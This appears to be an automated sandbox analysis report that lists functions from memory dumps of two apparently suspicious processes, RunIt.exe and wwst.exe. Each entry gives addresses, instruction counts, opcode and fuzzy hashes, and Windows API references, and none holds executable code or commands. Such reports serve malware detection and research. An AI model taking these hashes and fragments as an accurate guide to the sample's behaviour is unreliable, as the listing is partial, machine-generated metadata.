Uniqueness

Uniqueness Score: -1.00%

Function 02E3218C Relevance: .0, Instructions: 35COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.579806839.0000000002E30000.00000040.00000800.00020000.00000000.sdmp, Offset: 02E30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2e30000_RunIt.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0fd96e1a28a4f90809cc02ba9945488f367ad858f1788a76814d99ea21165abf
Instruction ID: 7e9d74ce4b33eefa9396d90c29fd178f66e05b83477a847dfd90e89befa187e0
Opcode Fuzzy Hash: 0fd96e1a28a4f90809cc02ba9945488f367ad858f1788a76814d99ea21165abf
Instruction Fuzzy Hash: 37F0B434A897A18FC713461A8D284567F759FC721A31990FBDBC5CB262C7218D42C7B1

Uniqueness

Uniqueness Score: -1.00%

Function 02E31CF7 Relevance: .0, Instructions: 34COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.579806839.0000000002E30000.00000040.00000800.00020000.00000000.sdmp, Offset: 02E30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2e30000_RunIt.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c737ed6de617e8adba39bbb9310b4c2ae0a3ad1fb258847c05b73edd04f63ec1
Instruction ID: eacb5627c98cd9845d33ce9318376f1ae07a569e477b7c77b8c677abec7826c3
Opcode Fuzzy Hash: c737ed6de617e8adba39bbb9310b4c2ae0a3ad1fb258847c05b73edd04f63ec1
Instruction Fuzzy Hash: B2F058306593818FC307462888288E27BB5AE8B52A34AD0EBD088CF673C6698C02C752

Uniqueness

Uniqueness Score: -1.00%

Function 02E32458 Relevance: .0, Instructions: 34COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.579806839.0000000002E30000.00000040.00000800.00020000.00000000.sdmp, Offset: 02E30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2e30000_RunIt.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 288d6230a0c8aaf2ae9f631f1978b0a45e445300f3e6df6ae68c00cf0fa81a39
Instruction ID: c3a44823cc295ee109d78c15215ec793d5fbb3536e5bc26e2a821b8281183074
Opcode Fuzzy Hash: 288d6230a0c8aaf2ae9f631f1978b0a45e445300f3e6df6ae68c00cf0fa81a39
Instruction Fuzzy Hash: 86F0547164E3D18FC727572558281A53F719F8B02631A90EBC9C5CF2A7DA364C49C3A2

Uniqueness

Uniqueness Score: -1.00%

Function 02E30CF0 Relevance: .0, Instructions: 33COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.579806839.0000000002E30000.00000040.00000800.00020000.00000000.sdmp, Offset: 02E30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2e30000_RunIt.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b3275544afdb6b1e57360a3883f9a11f6d0d25e34687c8e63a38400951f6729d
Instruction ID: 107e6ef6f5d0654411d27411a2e64e3549ffcd1fe13cf725e8ac1588f06dd7f0
Opcode Fuzzy Hash: b3275544afdb6b1e57360a3883f9a11f6d0d25e34687c8e63a38400951f6729d
Instruction Fuzzy Hash: 86F0A735F805168F4B694A4DC02456B73DADBC651A759D4BAC509C7714DF729C01C3D1

Uniqueness

Uniqueness Score: -1.00%

Function 02E311FF Relevance: .0, Instructions: 33COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.579806839.0000000002E30000.00000040.00000800.00020000.00000000.sdmp, Offset: 02E30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2e30000_RunIt.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a4efea65d52b3127905663a52cd78318209505594a0297af93c585cdf4e31514
Instruction ID: 2bf24953255414c7828384196583fe977adca13471edaaefe685f54cb71cc66f
Opcode Fuzzy Hash: a4efea65d52b3127905663a52cd78318209505594a0297af93c585cdf4e31514
Instruction Fuzzy Hash: 3DF09034A4E3C18FC3079A2448340897F71BE8710530A90EFC48DCF2A6D6398849DB22

Uniqueness

Uniqueness Score: -1.00%

Function 02E31DD8 Relevance: .0, Instructions: 33COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.579806839.0000000002E30000.00000040.00000800.00020000.00000000.sdmp, Offset: 02E30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2e30000_RunIt.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a2da6bc057ecc9f30abc879f149fd346e58e548404a90a9289cec720870b5eeb
Instruction ID: 83839cd2ea3153fb97274f7faab277c42dddb7bcf7cd0cdb5789cf7622692b59
Opcode Fuzzy Hash: a2da6bc057ecc9f30abc879f149fd346e58e548404a90a9289cec720870b5eeb
Instruction Fuzzy Hash: 24F0A031F805618B4B25455EC018867B2EA9FC652F359E0BEDA0FCF318DB628C05C7D1

Uniqueness

Uniqueness Score: -1.00%

Function 02E321A8 Relevance: .0, Instructions: 33COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.579806839.0000000002E30000.00000040.00000800.00020000.00000000.sdmp, Offset: 02E30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2e30000_RunIt.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c0724daeca35636402393836553fb67195be980fc001a67a6515a3db60d41892
Instruction ID: 914157ca94aa20e61485dc510cab67cc3659c7e99c5c6431bfbb36ccadd0f2c4
Opcode Fuzzy Hash: c0724daeca35636402393836553fb67195be980fc001a67a6515a3db60d41892
Instruction Fuzzy Hash: 7BF0A031F80521CB8626494E892886BB3DADFC966A315D0BBDF86CB314DB62CD41C7E1

Uniqueness

Uniqueness Score: -1.00%

Function 02E32783 Relevance: .0, Instructions: 33COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.579806839.0000000002E30000.00000040.00000800.00020000.00000000.sdmp, Offset: 02E30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2e30000_RunIt.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ebe0d507ed4c1ae46bb88fbffb50066b30ff48af169f6883c6e580dda617a377
Instruction ID: a83e29bb1fad0af25c09728d4defbb5080e019f9a1b16e2924eb837df17fc4c8
Opcode Fuzzy Hash: ebe0d507ed4c1ae46bb88fbffb50066b30ff48af169f6883c6e580dda617a377
Instruction Fuzzy Hash: 83F0B420B4D681CFC71B565494281DA7BB2AF8A21570DC0EAD8C58B29BDB268C42C796

Uniqueness

Uniqueness Score: -1.00%

Function 02E30590 Relevance: .0, Instructions: 33COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.579806839.0000000002E30000.00000040.00000800.00020000.00000000.sdmp, Offset: 02E30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2e30000_RunIt.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ffd99325f0d6bb1ad60eefab3e073e570aff5d71b13a4f0f2aeba5187911c0b6
Instruction ID: 397c191b0ce05743c50801b76fd1bcac80e4ed930a83419575d0b51ea87cd17a
Opcode Fuzzy Hash: ffd99325f0d6bb1ad60eefab3e073e570aff5d71b13a4f0f2aeba5187911c0b6
Instruction Fuzzy Hash: 76F0E537F80515AF8F358A4DD02896B72DADFD562A319D0BAC506DB318DFA18C01C7D1

Uniqueness

Uniqueness Score: -1.00%

Function 02E30A50 Relevance: .0, Instructions: 33COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.579806839.0000000002E30000.00000040.00000800.00020000.00000000.sdmp, Offset: 02E30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2e30000_RunIt.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 96418b3cd72124a012badf8f22edff708a29bc67ab65ad7c85e4c0d90b7e192c
Instruction ID: 9341cc6fadaf2a52f2168e28afe90ceaa95ed324b6aeca06532ee30f8b151961
Opcode Fuzzy Hash: 96418b3cd72124a012badf8f22edff708a29bc67ab65ad7c85e4c0d90b7e192c
Instruction Fuzzy Hash: 32F0A732BC05269B4E25468DD01857B72DACBC562A315D0BAC509C7318DB614C01C3D1

Uniqueness

Uniqueness Score: -1.00%

Function 02E3204F Relevance: .0, Instructions: 32COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.579806839.0000000002E30000.00000040.00000800.00020000.00000000.sdmp, Offset: 02E30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2e30000_RunIt.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ff03f2bde73a00bc2fd005a42d40e2d3de6c2449568ebb89f766379a49460454
Instruction ID: 036369d587e5de4694e72de291b54ae76d09f46cbf4c14d92692a5d52df5a710
Opcode Fuzzy Hash: ff03f2bde73a00bc2fd005a42d40e2d3de6c2449568ebb89f766379a49460454
Instruction Fuzzy Hash: 28F08225A4D7C28FC3075B6848640AB7FB1AE9320030ED1DBC5C1CB266EA384C8DC722

Uniqueness

Uniqueness Score: -1.00%

Function 02E30844 Relevance: .0, Instructions: 30COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.579806839.0000000002E30000.00000040.00000800.00020000.00000000.sdmp, Offset: 02E30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2e30000_RunIt.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 01ac73897d1b9a05b875debae531323d52ef5afd363aa8ad10f126cb87c5997a
Instruction ID: 29d0d1afb8d356f1db91c20dec5183275f49bebbe2b9c0ac3f1c804eae9c977e
Opcode Fuzzy Hash: 01ac73897d1b9a05b875debae531323d52ef5afd363aa8ad10f126cb87c5997a
Instruction Fuzzy Hash: BBF0A02030D2E04FCB03577CA8684A87FB59F8702130A41EBD084CF6B3C9044C0AC3A2

Uniqueness

Uniqueness Score: -1.00%

Function 02E3263F Relevance: .0, Instructions: 30COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.579806839.0000000002E30000.00000040.00000800.00020000.00000000.sdmp, Offset: 02E30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2e30000_RunIt.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bc9daff07fc1588ef396e72934b574ffb82917f4608e2440bb931b12e5e3a6f5
Instruction ID: 1851e08f27dd275a45495c9c71b7c50caae740d431c27cb083ea47859a4046ed
Opcode Fuzzy Hash: bc9daff07fc1588ef396e72934b574ffb82917f4608e2440bb931b12e5e3a6f5
Instruction Fuzzy Hash: E5F01C60A8D3C28FD7071B2448391997F316E9354531ED1EB89C2CF2A7CA2A4C45C722

Uniqueness

Uniqueness Score: -1.00%

Function 02E31914 Relevance: .0, Instructions: 30COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.579806839.0000000002E30000.00000040.00000800.00020000.00000000.sdmp, Offset: 02E30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2e30000_RunIt.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 67ef9eefb08c324fa6527ebab5e61e6c954b4b8580ecbc707a13607addee14d5
Instruction ID: e7360a6c7104da5dfc9f16411a913031d4b5e32f3ec1c82db1fe69d4361cf451
Opcode Fuzzy Hash: 67ef9eefb08c324fa6527ebab5e61e6c954b4b8580ecbc707a13607addee14d5
Instruction Fuzzy Hash: FAF08C7494D7C59FC7039A2898648A53F729EA731274990EBD189CF263EA218948C352

Uniqueness

Uniqueness Score: -1.00%

Function 02E317AF Relevance: .0, Instructions: 29COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.579806839.0000000002E30000.00000040.00000800.00020000.00000000.sdmp, Offset: 02E30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2e30000_RunIt.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 60b7fab831c028fa04086d350ea4c43715dc32ed1f00a4f7ca6dd9f75349b2bb
Instruction ID: 7b9e9e9d0f6883cdc7150d466a550e762d0038bc71fdd7781e0cfe2852b4c447
Opcode Fuzzy Hash: 60b7fab831c028fa04086d350ea4c43715dc32ed1f00a4f7ca6dd9f75349b2bb
Instruction Fuzzy Hash: 29F0C068B8E3C14FC707476408251963FF26A9311535ED0EF8085CF2A7D6288C06D772

Uniqueness

Uniqueness Score: -1.00%

Function 02E312C4 Relevance: .0, Instructions: 28COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.579806839.0000000002E30000.00000040.00000800.00020000.00000000.sdmp, Offset: 02E30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2e30000_RunIt.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 302baf1f2ecd2b452d4484f96db799a157ce07922053f6e38538505300d32334
Instruction ID: 0bc291302c93db1e4ca991d754f92a027f1364ec6ad9584d41d03e4f94f992e0
Opcode Fuzzy Hash: 302baf1f2ecd2b452d4484f96db799a157ce07922053f6e38538505300d32334
Instruction Fuzzy Hash: 86F03034A4D3C1CFC707967844341997F72BE9B106B0990EFC88DCF266EA398859DB62

Uniqueness

Uniqueness Score: -1.00%

Function 02E301B3 Relevance: .0, Instructions: 28COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.579806839.0000000002E30000.00000040.00000800.00020000.00000000.sdmp, Offset: 02E30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2e30000_RunIt.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cddf98a74a75579dfbbf2fa72f5306c13d516f9159f5e1ccad379316b2242927
Instruction ID: b2723a8a874458c098ea9811a0a8a51d25bb52abaa588ac7a43b949bda30e3db
Opcode Fuzzy Hash: cddf98a74a75579dfbbf2fa72f5306c13d516f9159f5e1ccad379316b2242927
Instruction Fuzzy Hash: 25E0ED65B8D3C24FC74757248C242AA7B779AD315A35A90EBC481CB257C6294D4AC372

Uniqueness

Uniqueness Score: -1.00%

Function 02E31318 Relevance: .0, Instructions: 28COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.579806839.0000000002E30000.00000040.00000800.00020000.00000000.sdmp, Offset: 02E30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2e30000_RunIt.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9e74450a47b1b304aca15bdcd1dbe7dc59fb89666a928ef3a4f3ea1a4621ccb5
Instruction ID: 081e2b08505deb12fbfd18c514f2bab06fbef5ad2cfc5783dd2ef9dc7d86fb6e
Opcode Fuzzy Hash: 9e74450a47b1b304aca15bdcd1dbe7dc59fb89666a928ef3a4f3ea1a4621ccb5
Instruction Fuzzy Hash: 4DF01C20A4E3C18FCB174724683405A3FB18E8B01931E40EFD885CF6A7DA2D8D0AC762

Uniqueness

Uniqueness Score: -1.00%

Function 02E32817 Relevance: .0, Instructions: 27COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.579806839.0000000002E30000.00000040.00000800.00020000.00000000.sdmp, Offset: 02E30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2e30000_RunIt.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fb81a86352735fa56341420f9c40bea5646318f578275151f7386f7e271bf87e
Instruction ID: a55aaf5116a7078e13769fa5bbd795b199bce222be639cd5d74637f7731c42d2
Opcode Fuzzy Hash: fb81a86352735fa56341420f9c40bea5646318f578275151f7386f7e271bf87e
Instruction Fuzzy Hash: 24F0AE64A8E3D19FCB478B3408695963F719E8361530E91DBE681CF2A3D6284C4AC762

Uniqueness

Uniqueness Score: -1.00%

Function 02E30233 Relevance: .0, Instructions: 25COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.579806839.0000000002E30000.00000040.00000800.00020000.00000000.sdmp, Offset: 02E30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2e30000_RunIt.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3db62c3c2bea2dfa04bb517a0af0ff7a85b7e596507db863956634e6ae9eb1e5
Instruction ID: b0c5eee5156ffd3154415e609635b3521b61737b32d3ebc7221fe3849475eb24
Opcode Fuzzy Hash: 3db62c3c2bea2dfa04bb517a0af0ff7a85b7e596507db863956634e6ae9eb1e5
Instruction Fuzzy Hash: E4E0125060D3E04FC7931B385CA80DA7F628E43AA430B40DBD4C4CB1A7D9281C0EC3A2

Uniqueness

Uniqueness Score: -1.00%

Function 02E31930 Relevance: .0, Instructions: 21COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.579806839.0000000002E30000.00000040.00000800.00020000.00000000.sdmp, Offset: 02E30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2e30000_RunIt.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 62ef88b462940112ff02205f004efe1da0af525aeaec908f3f69505fcbd369bd
Instruction ID: c8e942f564e89a32c49a5fd2fbb0935c19de257979d0e042e5699689153b1bf8
Opcode Fuzzy Hash: 62ef88b462940112ff02205f004efe1da0af525aeaec908f3f69505fcbd369bd
Instruction Fuzzy Hash: BBE04F34B546458F8706EA6CD4148AA77A7AF95316744D16ED1094F324FF31DD40C741

Uniqueness

Uniqueness Score: -1.00%

Function 02E31D18 Relevance: .0, Instructions: 21COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.579806839.0000000002E30000.00000040.00000800.00020000.00000000.sdmp, Offset: 02E30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2e30000_RunIt.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f976a31e1b16d7c2b954f65fba7a92c51cc92b734310251573de361253b074c0
Instruction ID: c83a8d6a05440d1006f819db7706db31f73015feae9f4f2e22ee5ba50eca99e9
Opcode Fuzzy Hash: f976a31e1b16d7c2b954f65fba7a92c51cc92b734310251573de361253b074c0
Instruction Fuzzy Hash: 48E08C34B50001CB470A864E8028896B3DADFCF02A355D0AED50ECB324DB72CC028781

Uniqueness

Uniqueness Score: -1.00%

Function 02E32523 Relevance: .0, Instructions: 9COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.579806839.0000000002E30000.00000040.00000800.00020000.00000000.sdmp, Offset: 02E30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2e30000_RunIt.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7b8b75d4ced864f65f0b5223a8ebc4475a440266c3fd91acb8f8e57a2119ee72
Instruction ID: ece1de9736af45f75777d2a45b82e5a72e25c631f2a2b9b0114805d71ff825ae
Opcode Fuzzy Hash: 7b8b75d4ced864f65f0b5223a8ebc4475a440266c3fd91acb8f8e57a2119ee72
Instruction Fuzzy Hash: A9B09201B84451438688A1AA70283FF11838FCC015B2D80BA818A8A7CDEE328C821291

Uniqueness

Uniqueness Score: -1.00%

Function 02E32570 Relevance: .0, Instructions: 6COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.579806839.0000000002E30000.00000040.00000800.00020000.00000000.sdmp, Offset: 02E30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2e30000_RunIt.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7dc44f13e33837556e0e020a91ee70d8251cd4c83653041a15ea315cf8bb2946
Instruction ID: 9aed788eeae07753857a6156b7cd09116866995aa3e143346fd3d6b28a04f306
Opcode Fuzzy Hash: 7dc44f13e33837556e0e020a91ee70d8251cd4c83653041a15ea315cf8bb2946
Instruction Fuzzy Hash: 53A00118B45140874A8DA3B610B85AE12839AD818939994AE8A479A388DE6A8C025699

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: wwst.exePID: 4816, Parent PID: 4560COMMON

Execution Graph

Execution Coverage:	16.6%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	93
Total number of Limit Nodes:	0

Executed Functions

Function 05007B98 Relevance: 1.6, APIs: 1, Instructions: 65
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LdrInitializeThunk.NTDLL ref: 05007BE4

Memory Dump Source

Source File: 00000003.00000002.603356110.0000000005000000.00000040.00000800.00020000.00000000.sdmp, Offset: 05000000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_5000000_wwst.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 15a5019757bd34cb396c893d2f34b1916a573b30bfb380cd4f5d1d4e93eb73af
Instruction ID: 80a32cf5a377c23fdbeec2b98bb741598e1c634f14e97234d31c1526e8d5e6be
Opcode Fuzzy Hash: 15a5019757bd34cb396c893d2f34b1916a573b30bfb380cd4f5d1d4e93eb73af
Instruction Fuzzy Hash: 8D213B30B102448FDB18EB78D464AAE37F2EB88314F204169C106AB7A4DF7A9D46CB95

Uniqueness

Uniqueness Score: -1.00%

Function 02883D74 Relevance: 1.6, APIs: 1, Instructions: 97
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNEL32(?), ref: 02885E3F

Memory Dump Source

Source File: 00000003.00000002.575486063.0000000002880000.00000040.00000800.00020000.00000000.sdmp, Offset: 02880000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2880000_wwst.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 191f600abfcf6f4d3e9395b614fe28878bb96b71f8c96969ea1aa3d7afcf7208
Instruction ID: 2f8a794687b246803a1cba9b5bf4e9837d4e552bc64c3358331229b9db22e3fc
Opcode Fuzzy Hash: 191f600abfcf6f4d3e9395b614fe28878bb96b71f8c96969ea1aa3d7afcf7208
Instruction Fuzzy Hash: FD4146B9D002588FDB14DFA9C888B9EBBF1EB48314F158529E819EB340D778A845CF81

Uniqueness

Uniqueness Score: -1.00%

Function 02885D4F Relevance: 1.6, APIs: 1, Instructions: 94
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNEL32(?), ref: 02885E3F

Memory Dump Source

Source File: 00000003.00000002.575486063.0000000002880000.00000040.00000800.00020000.00000000.sdmp, Offset: 02880000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2880000_wwst.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: c2ae7d6b2dcbbd581c378358d892c303c96b191d3b0fcffae7959fde363cc885
Instruction ID: 73049aa6553656d523e346fefda9a625afc6156d510c8540d216523ea158e07b
Opcode Fuzzy Hash: c2ae7d6b2dcbbd581c378358d892c303c96b191d3b0fcffae7959fde363cc885
Instruction Fuzzy Hash: 2F4155B9D002088FDB14DFA9C88979EBBF1EB08314F15852AE819E7380D7789846CF81

Uniqueness

Uniqueness Score: -1.00%

Function 05007B38 Relevance: 1.6, APIs: 1, Instructions: 82
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LdrInitializeThunk.NTDLL ref: 05007BE4

Memory Dump Source

Source File: 00000003.00000002.603356110.0000000005000000.00000040.00000800.00020000.00000000.sdmp, Offset: 05000000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_5000000_wwst.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 36f67c9f1db2b152d21026a6b2f2b5d71422f58a282c2e66146ff7d5bae7b132
Instruction ID: 4a8e8a69ccf24ce8ae96cf481bac4d93fce0b45a5afa57be80e79d98c5eb4250
Opcode Fuzzy Hash: 36f67c9f1db2b152d21026a6b2f2b5d71422f58a282c2e66146ff7d5bae7b132
Instruction Fuzzy Hash: EF318C31B142408FDB09EB74E4A47AE37F2EB88304F20416AC146DB7A4EF799D46CB81

Uniqueness

Uniqueness Score: -1.00%

Function 05007B88 Relevance: 1.6, APIs: 1, Instructions: 72
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LdrInitializeThunk.NTDLL ref: 05007BE4

Memory Dump Source

Source File: 00000003.00000002.603356110.0000000005000000.00000040.00000800.00020000.00000000.sdmp, Offset: 05000000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_5000000_wwst.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: e79e1ed28e0f2cfa7532e0f2683e9aba6c7aa950996cbb2d83244436cfb35b73
Instruction ID: 000c5e835e755a71fde6ea485084ed8a7371eeec3fea8f1765505ec6fc4bd365
Opcode Fuzzy Hash: e79e1ed28e0f2cfa7532e0f2683e9aba6c7aa950996cbb2d83244436cfb35b73
Instruction Fuzzy Hash: 40218031B102448FCB08EB78D4647AE37F2EB88314F200169C106E77A4DFB99D46CB85

Uniqueness

Uniqueness Score: -1.00%

Function 0500C480 Relevance: 1.6, APIs: 1, Instructions: 65
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

KiUserCallbackDispatcher.NTDLL(00000050), ref: 0500C523

Memory Dump Source

Source File: 00000003.00000002.603356110.0000000005000000.00000040.00000800.00020000.00000000.sdmp, Offset: 05000000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_5000000_wwst.jbxd

Similarity

API ID: CallbackDispatcherUser
String ID:
API String ID: 2492992576-0
Opcode ID: dc9e8e26139b1020993cbcbf054dc99399efb5448eab22694794076b7dd000b9
Instruction ID: 59320e8919abab95e652cddcaf1acafc0a133b52f137244521430abf1fa86e99
Opcode Fuzzy Hash: dc9e8e26139b1020993cbcbf054dc99399efb5448eab22694794076b7dd000b9
Instruction Fuzzy Hash: EE2159B1C04249CFDB00CFA9E849BEEBFF0BB09214F08455AE455AB281D7389945CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 0500C4A0 Relevance: 1.6, APIs: 1, Instructions: 56
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

KiUserCallbackDispatcher.NTDLL(00000050), ref: 0500C523

Memory Dump Source

Source File: 00000003.00000002.603356110.0000000005000000.00000040.00000800.00020000.00000000.sdmp, Offset: 05000000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_5000000_wwst.jbxd

Similarity

API ID: CallbackDispatcherUser
String ID:
API String ID: 2492992576-0
Opcode ID: eaa0fd16295c41114aecbc56958294fc24079b6d85fdfd95bd5a68543d888b5f
Instruction ID: 47c0d7b258e9a35b18345f6977b0c585d5e55604443c21f0a1c6c4375625dcea
Opcode Fuzzy Hash: eaa0fd16295c41114aecbc56958294fc24079b6d85fdfd95bd5a68543d888b5f
Instruction Fuzzy Hash: 492125758002198FDB10DF99E549AEEBBF4FB48324F14851AE429B7280C774A945CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 05007AE2 Relevance: 1.5, APIs: 1, Instructions: 23
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

KiUserExceptionDispatcher.NTDLL ref: 05007B01

Memory Dump Source

Source File: 00000003.00000002.603356110.0000000005000000.00000040.00000800.00020000.00000000.sdmp, Offset: 05000000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_5000000_wwst.jbxd

Similarity

API ID: DispatcherExceptionUser
String ID:
API String ID: 6842923-0
Opcode ID: c86223c8dd8697ed438e1223c8b60d25c5bbfc4ce28c5e2f4a5adb93b8d04f44
Instruction ID: 8b43624616229bd507e33f8a1e9b0719a229bcbef577452f1f95b166d707ce02
Opcode Fuzzy Hash: c86223c8dd8697ed438e1223c8b60d25c5bbfc4ce28c5e2f4a5adb93b8d04f44
Instruction Fuzzy Hash: 34E06D35921428DBDB11EFA4F885AADF731FB48312F025166D51263081CB387D62CBC1

Uniqueness

Uniqueness Score: -1.00%

Function 05007AF4 Relevance: 1.5, APIs: 1, Instructions: 19
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

KiUserExceptionDispatcher.NTDLL ref: 05007B01

Memory Dump Source

Source File: 00000003.00000002.603356110.0000000005000000.00000040.00000800.00020000.00000000.sdmp, Offset: 05000000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_5000000_wwst.jbxd

Similarity

API ID: DispatcherExceptionUser
String ID:
API String ID: 6842923-0
Opcode ID: 93dc116f3540743131dfc03c7cf47106f7ec3ff32debf6e51c2150a23bf716b0
Instruction ID: d6bb76ba71f2fcceca076dfddac6c7792a8147d3170629f3fc10aad6758c8980
Opcode Fuzzy Hash: 93dc116f3540743131dfc03c7cf47106f7ec3ff32debf6e51c2150a23bf716b0
Instruction Fuzzy Hash: E2E04F31921428EBDB04EF54F884AACB771FB48311F015122D41653481CB347866CB80

Uniqueness

Uniqueness Score: -1.00%

Function 00FCD3B4 Relevance: .1, Instructions: 75COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.573111695.0000000000FCD000.00000040.00000800.00020000.00000000.sdmp, Offset: 00FCD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_fcd000_wwst.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f889bd8b06fdf80875b6f0aa72074f5055d3889357d25054514339d6033fd07c
Instruction ID: dddc7d925bf84ea862346b1f4ffbda49edfe1e5e8d0df17820a309120aec7818
Opcode Fuzzy Hash: f889bd8b06fdf80875b6f0aa72074f5055d3889357d25054514339d6033fd07c
